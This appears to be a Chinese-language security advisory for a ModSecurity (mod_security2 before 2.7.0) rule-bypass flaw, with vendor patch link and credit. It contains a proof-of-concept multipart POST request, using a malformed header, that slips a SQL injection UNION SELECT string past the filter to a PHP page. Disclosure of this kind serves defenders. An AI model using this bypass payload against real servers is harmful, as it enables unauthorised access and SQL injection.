Apache HTTP Server mod_security2模块安全绕过漏洞

漏洞起因
设计错误
危险等级

影响系统
Apache HTTP Server mod_security2  2.7.0之前版本

不受影响系统

危害
远程攻击者可以利用漏洞绕过安全进行未授权访问。

攻击所需条件
攻击者必须访问ModSecurity应用。

漏洞信息
ModSecurity是一款保护WEB服务安全的Apache模块。
Apache HTTP Server mod_security2模块不正确处理特殊形式的Multipart请求,允许攻击者利用漏洞绕过POST参数验证,可绕过规则设置,向PHP应用提交任意POST数据。

测试方法
Proof of concept:
—————–
wut.php:
——–
<? echo $POST[xxx] ?>
POST request:
————-
POST /wut.php HTTP/1.1
Content-Type: multipart/form-data; boundary=A
Content-Length: 161
–A
Content-Disposition: form-data; name=”xxx”[\r][\r][\n]
–A
Content-Disposition: form-data; name=”yyy”; filename=”z”
1 UNION SELECT 1,2,3,4,5,6,7,8,9,10–
–A–
Output:
——-
1 UNION SELECT 1,2,3,4,5,6,7,8,9,10–
(any change in the header should produce a 403)d

厂商解决方案
用户可参考如下厂商提供的安全公告获得补丁信息:
http://mod-security.svn.sourceforge.net/viewvc/mod-security/m2/trunk/apache2/msc_multipart.c?sortby=date&r1=2081&r2=2080&pathrev=2081

漏洞提供者
Bernhard Mueller

评论关闭。